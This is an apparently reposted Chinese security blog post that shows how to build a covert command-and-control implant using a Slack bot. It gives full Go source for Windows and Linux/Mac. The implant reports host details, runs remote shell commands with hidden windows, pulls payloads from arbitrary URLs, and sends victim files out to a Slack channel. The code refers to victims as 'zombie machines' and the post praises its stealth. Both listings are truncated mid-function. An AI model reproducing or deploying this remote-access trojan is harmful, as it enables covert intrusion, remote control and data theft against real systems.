01
Slack介绍
01
官网
https://slack.com/intl/zh-sg/
02
简介
Slack 是聊天群组 + 大规模工具集成 + 文件整合 + 统一搜索。截至2014年底,Slack 已经整合了电子邮件、短信、Google Drives、Twitter、Trello、Asana、GitHub 等 65 种工具和服务,可以把各种碎片化的企业沟通和协作集中到一起。
02
注册Slack
01
邮箱注册创建工作区
https://slack.com
注册完之后无脑下一步创建一个工作区。
02
到API创建应用
https://api.slack.com/apps
点击Create an App
OAuth & Permissions
把全部权限加进去。
点Install to Workspace
选择一个频道然后会给一个Token: xoxb-xxxx-xxxx
记录这个Token。
03
测试API
先邀请机器人进群组
https://api.slack.com/methods/conversations.history/test
Channel是工作区链接URL中最后一个/之后的,记录之后修改代码。
03
Windows代码
package main
import (
"bytes"
"encoding/json"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/url"
"os"
"os/exec"
"runtime"
"strconv"
"strings"
"syscall"
"time"
"golang.org/x/text/encoding/simplifiedchinese"
"github.com/tidwall/gjson"
)
const (
HistoryApi = "https://slack.com/api/conversations.history"
PostMessage = "https://slack.com/api/chat.postMessage"
FileUpload = "https://slack.com/api/files.upload"
Authorization = "Bearer xoxb-xxxx-xxxx" //改这里
Channel = "C05xxxxxx" //改这里
)
var Timer = 1
func sleep() {
time.Sleep(time.Duration(Timer) * time.Second)
}
func main() {
GetSystemInfo()
RunMainCommandTask()
}
// 获取系统类型
func GetSystemInfo() {
name, err := os.Hostname()
if err != nil {
panic(err)
}
SendShellResult("系统架构:" + runtime.GOOS + "/" + runtime.GOARCH + "n内核数量:" + strconv.Itoa(runtime.NumCPU()) + "核n主机名:" + name)
}
// 命令调度主任务使用主线程处理
func RunMainCommandTask() {
for true {
result := GetCommandFromApi(HistoryApi, "messages.0.text")
if strings.HasPrefix(result.Str, "shell") {
cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:])
SendShellResult(cmdRes)
} else if strings.HasPrefix(result.Str, "exit") {
os.Exit(0)
} else if strings.HasPrefix(result.Str, "upload") {
resultStr := strings.Replace(result.Str, "<", "", -1)
resultStr = strings.Replace(resultStr, ">", "", -1)
split := strings.Split(resultStr, " ")
if len(split) > 2 {
UploadFile(split[1], split[2])
} else {
UploadFile(split[1], "")
}
} else if strings.HasPrefix(result.Str, "sleep") {
s := strings.Split(result.Str, " ")[1]
atoi, err := strconv.Atoi(s)
if err != nil {
SendShellResult(err.Error())
}
Timer = atoi
} else if strings.HasPrefix(result.Str, "download") {
replace := strings.Replace(result.Str, "download ", "", -1)
DownloadFile(replace)
}
sleep()
}
}
func ExecCommand(command []string) (out string) {
cmd := exec.Command(command[0], command[1:]...)
// windows时候隐藏子进程窗口,避免执行指令时客户端弹出黑框
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
o, err := cmd.CombinedOutput()
// 转换字符集,解决UTF-8乱码
output, err := simplifiedchinese.GB18030.NewDecoder().String(string(o))
if err != nil {
out = err.Error()
} else {
if output != "" {
out = string(output)
}
}
return
}
func GetCommandFromApi(apiUrl string, rule string) gjson.Result {
token := Authorization
channelID := Channel
// 调用函数时传入要用的apiUrl,请求对应的api
r, err := http.NewRequest("GET", apiUrl, nil)
if err != nil {
return gjson.Result{}
}
// 设置authorization header为Slack机器人Token
r.Header.Set("Authorization", token)
// 设置请求参数
q := r.URL.Query()
// 设置Slack频道
q.Add("channel", channelID)
// 每次只获取最近的一条历史记录,避免重复执行历史指令
q.Add("limit", "1")
r.URL.RawQuery = q.Encode()
// 发送请求获取响应包
client := &http.Client{}
resp, err := client.Do(r)
if err != nil {
return gjson.Result{}
}
defer resp.Body.Close()
bytes, err := io.ReadAll(resp.Body)
return gjson.GetBytes(bytes, rule)
}
// 传入链接进行下载
func UploadFile(url string, savePath string) {
path := ""
if savePath == "" {
s := strings.Split(url, "/")
path = s[len(s)-1]
} else {
path = savePath
}
// 判断文件是否已经存在
_, err := os.Stat(path)
if err == nil {
SendShellResult(path + " 文件已经存在,如要重新上传请重命名")
return
}
// Get the data
resp, err := http.Get(url)
if err != nil {
panic(err)
}
defer resp.Body.Close()
out, err := os.Create(path)
if err != nil {
panic(err)
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
if err != nil {
panic(err)
}
SendShellResult("文件上传成功,路径在:" + path)
}
// 肉鸡文件上传,客户端下载
func DownloadFile(filePath string) {
file, err := os.Open(filePath)
if err != nil {
return
}
defer file.Close()
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
part, err := writer.CreateFormFile("file", filePath)
if err != nil {
return
}
_, err = io.Copy(part, file)
if err != nil {
fmt.Println(err)
return
}
err = writer.WriteField("initial_comment", "文件上传,用于客户端下载。")
if err != nil {
return
}
err = writer.WriteField("channels", Channel)
if err != nil {
return
}
err = writer.Close()
if err != nil {
return
}
req, err := http.NewRequest("POST", FileUpload, body)
if err != nil {
fmt.Println(err)
return
}
req.Header.Set("Authorization", Authorization)
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return
}
defer resp.Body.Close()
}
func SendShellResult(text2 string) {
// 设置token、频道和要发送的内容,发送内容通过参数传入
token := Authorization
message := text2
channelID := Channel
// 构建JSON数据
jsonData := map[string]string{
"text": message,
"channel": channelID,
}
// 将JSON数据编码为url.Values格式的数据
values := url.Values{}
for k, v := range jsonData {
values.Add(k, v)
}
// 发送HTTP POST请求
client := &http.Client{}
req, err := http.NewRequest("POST", PostMessage, bytes.NewBufferString(values.Encode()))
if err != nil {
return
}
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
req.Header.Add("Authorization", token)
// 处理响应
resp, err := client.Do(req)
if err != nil {
return
}
defer resp.Body.Close()
// 读取响应内容
respData := make(map[string]interface{})
if err := json.NewDecoder(resp.Body).Decode(&respData); err != nil {
return
04
Linux/Mac
package main
import (
"bytes"
"encoding/json"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/url"
"os"
"os/exec"
"runtime"
"strconv"
"strings"
"time"
"golang.org/x/text/encoding/simplifiedchinese"
"github.com/tidwall/gjson"
)
const (
HistoryApi = "https://slack.com/api/conversations.history"
PostMessage = "https://slack.com/api/chat.postMessage"
FileUpload = "https://slack.com/api/files.upload"
Authorization = "Bearer xoxb-xxxx-xxxx" // 改这里
Channel = "C0xxxxx" //改这里
)
var Timer = 1
func sleep() {
time.Sleep(time.Duration(Timer) * time.Second)
}
func main() {
GetSystemInfo()
RunMainCommandTask()
}
// 获取系统类型
func GetSystemInfo() {
name, err := os.Hostname()
if err != nil {
panic(err)
}
SendShellResult("系统架构:" + runtime.GOOS + "/" + runtime.GOARCH + "n内核数量:" + strconv.Itoa(runtime.NumCPU()) + "核n主机名:" + name)
}
// 命令调度主任务使用主线程处理
func RunMainCommandTask() {
for true {
result := GetCommandFromApi(HistoryApi, "messages.0.text")
if strings.HasPrefix(result.Str, "shell") {
cmdRes := ExecCommand(strings.Split(result.Str, " ")[1:])
SendShellResult(cmdRes)
} else if strings.HasPrefix(result.Str, "exit") {
os.Exit(0)
} else if strings.HasPrefix(result.Str, "upload") {
resultStr := strings.Replace(result.Str, "<", "", -1)
resultStr = strings.Replace(resultStr, ">", "", -1)
split := strings.Split(resultStr, " ")
if len(split) > 2 {
UploadFile(split[1], split[2])
} else {
UploadFile(split[1], "")
}
} else if strings.HasPrefix(result.Str, "sleep") {
s := strings.Split(result.Str, " ")[1]
atoi, err := strconv.Atoi(s)
if err != nil {
SendShellResult(err.Error())
}
Timer = atoi
} else if strings.HasPrefix(result.Str, "download") {
replace := strings.Replace(result.Str, "download ", "", -1)
DownloadFile(replace)
}
sleep()
}
}
func ExecCommand(command []string) (out string) {
cmd := exec.Command(command[0], command[1:]...)
o, err := cmd.CombinedOutput()
// 转换字符集,解决UTF-8乱码
output, err := simplifiedchinese.GB18030.NewDecoder().String(string(o))
if err != nil {
out = err.Error()
} else {
if output != "" {
out = string(output)
}
}
return
}
func GetCommandFromApi(apiUrl string, rule string) gjson.Result {
token := Authorization
channelID := Channel
// 调用函数时传入要用的apiUrl,请求对应的api
r, err := http.NewRequest("GET", apiUrl, nil)
if err != nil {
return gjson.Result{}
}
// 设置authorization header为Slack机器人Token
r.Header.Set("Authorization", token)
// 设置请求参数
q := r.URL.Query()
// 设置Slack频道
q.Add("channel", channelID)
// 每次只获取最近的一条历史记录,避免重复执行历史指令
q.Add("limit", "1")
r.URL.RawQuery = q.Encode()
// 发送请求获取响应包
client := &http.Client{}
resp, err := client.Do(r)
if err != nil {
return gjson.Result{}
}
defer resp.Body.Close()
bytes, err := io.ReadAll(resp.Body)
return gjson.GetBytes(bytes, rule)
}
// 传入链接进行下载
func UploadFile(url string, savePath string) {
path := ""
if savePath == "" {
s := strings.Split(url, "/")
path = s[len(s)-1]
} else {
path = savePath
}
// 判断文件是否已经存在
_, err := os.Stat(path)
if err == nil {
SendShellResult(path + " 文件已经存在,如要重新上传请重命名")
return
}
// Get the data
resp, err := http.Get(url)
if err != nil {
panic(err)
}
defer resp.Body.Close()
out, err := os.Create(path)
if err != nil {
panic(err)
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
if err != nil {
panic(err)
}
SendShellResult("文件上传成功,路径在:" + path)
}
// 肉鸡文件上传,客户端下载
func DownloadFile(filePath string) {
file, err := os.Open(filePath)
if err != nil {
return
}
defer file.Close()
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
part, err := writer.CreateFormFile("file", filePath)
if err != nil {
return
}
_, err = io.Copy(part, file)
if err != nil {
fmt.Println(err)
return
}
err = writer.WriteField("initial_comment", "文件上传,用于客户端下载。")
if err != nil {
return
}
err = writer.WriteField("channels", Channel)
if err != nil {
return
}
err = writer.Close()
if err != nil {
return
}
req, err := http.NewRequest("POST", FileUpload, body)
if err != nil {
fmt.Println(err)
return
}
req.Header.Set("Authorization", Authorization)
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return
}
defer resp.Body.Close()
}
func SendShellResult(text2 string) {
// 设置token、频道和要发送的内容,发送内容通过参数传入
token := Authorization
message := text2
channelID := Channel
// 构建JSON数据
jsonData := map[string]string{
"text": message,
"channel": channelID,
}
// 将JSON数据编码为url.Values格式的数据
values := url.Values{}
for k, v := range jsonData {
values.Add(k, v)
}
// 发送HTTP POST请求
client := &http.Client{}
req, err := http.NewRequest("POST", PostMessage, bytes.NewBufferString(values.Encode()))
if err != nil {
return
}
req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
req.Header.Add("Authorization", token)
// 处理响应
resp, err := client.Do(req)
if err != nil {
return
}
defer resp.Body.Close()
// 读取响应内容
respData := make(map[string]interface{})
if err := json.NewDecoder(resp.Body).Decode(&respData); err != nil {
return
05
执行Demo
-
shell +空格+ 命令 => 执行命令
-
upload+空格+文件URL(+空格+自定义文件名) => 把文件从网络URL中下载
-
download+空格+受控端文件地址 =>从受控端下载文件
简单的使用就已经OK了,这个打包一下你说他隐匿吗hhh
原文始发于微信公众号(阿呆攻防):(隐匿性C2)利用Slack平台做权限控制
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论